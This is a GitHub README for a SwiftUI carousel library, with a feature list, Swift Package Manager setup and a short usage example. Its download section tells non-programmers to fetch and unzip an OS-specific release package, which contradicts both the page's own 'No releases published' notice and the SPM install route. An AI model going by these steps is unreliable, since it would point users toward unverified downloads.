Skip to content

πŸš— Create a customizable carousel component for SwiftUI, enabling smooth animations and infinite looping across iOS, macOS, tvOS, and visionOS.

License

Notifications You must be signed in to change notification settings

Kayds07/SwiftUICarousel

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

3 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🎑 SwiftUICarousel - Simple and Stylish Image Slider

πŸ› οΈ Features

  • Modern design for SwiftUI
  • Auto-scroll capability for effortless browsing
  • Infinite loop for continuous viewing
  • Page indicators to show your current position
  • Perfect for image sliders, banners, and onboarding experiences
  • Easy integration with Swift Package Manager (SPM)

πŸš€ Getting Started

To begin using the SwiftUICarousel, follow these straightforward steps. No programming skills are required.

πŸ“₯ Download & Install

Visit this page to download: SwiftUICarousel Releases

  1. Click on the link above to access the Releases page.
  2. Find the latest version of SwiftUICarousel.
  3. Download the latest version by clicking on the package for your operating system. Look for options relevant to macOS or iOS.
  4. If prompted, choose a location on your device where you would like to save the file.
  5. Once the download is complete, locate the file on your device.

πŸ“‚ Unzipping and Preparing

  1. The downloaded file may be in a compressed format (like .zip). If so, double-click the file to unzip it.
  2. Open the folder where the unzipped file resides.

πŸ”„ Usage

Once you have the files ready, you can easily integrate SwiftUICarousel into your SwiftUI project.

  1. Open your Xcode.

  2. Create a new SwiftUI project or open your existing project.

  3. To add SwiftUICarousel using Swift Package Manager:

    • Navigate to File > Add Packages....
    • Paste the repository URL: https://github.com/Kayds07/SwiftUICarousel.git.
    • Select the version you want to use and hit "Add Package."
  4. After adding the package, refer to SwiftUICarousel in your code by importing it:

    import SwiftUICarousel

🎨 Customization Options

SwiftUICarousel offers several customizable properties to help you tailor the carousel to your needs:

  • Auto-Scroll Duration: Adjust how fast the carousel moves through items.
  • Infinite Loop Setting: Enable or disable the infinite loop feature.
  • Page Indicator Style: Choose the visual style of the page indicators.
  • Image Sizing: Control how images fit within the carousel.

πŸ“œ Example Implementation

Here is a simple example of how to use SwiftUICarousel in your SwiftUI view:

import SwiftUI
import SwiftUICarousel

struct ContentView: View {
    var body: some View {
        SwiftUICarousel(images: ["image1", "image2", "image3"], autoScroll: true)
    }
}

πŸŽ‰ Test It Out

Try running your project to see the carousel in action. Adjust the parameters in the example according to your design requirements.

βš™οΈ System Requirements

  • macOS or iOS device with SwiftUI support
  • Xcode 12 or later
  • Basic familiarity with creating SwiftUI projects

πŸ“ž Need Help?

If you encounter any issues or have questions while installing or using SwiftUICarousel, consider the following options:

  • GitHub Issues: Report your problem directly on the GitHub repository.
  • Stack Overflow: Use the community for additional troubleshooting tips or advice.
  • User Manual: A detailed user manual may also be found within the repository for further assistance.

πŸ“ Important Links

πŸ”— Join the Community

Stay updated on new features and improvements. Consider following or starring the repository to show your support.

By following these instructions, you can easily download, install, and utilize SwiftUICarousel for your projects. Enjoy your new image slider, and enhance your apps with smooth visual elements!

About

πŸš— Create a customizable carousel component for SwiftUI, enabling smooth animations and infinite looping across iOS, macOS, tvOS, and visionOS.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages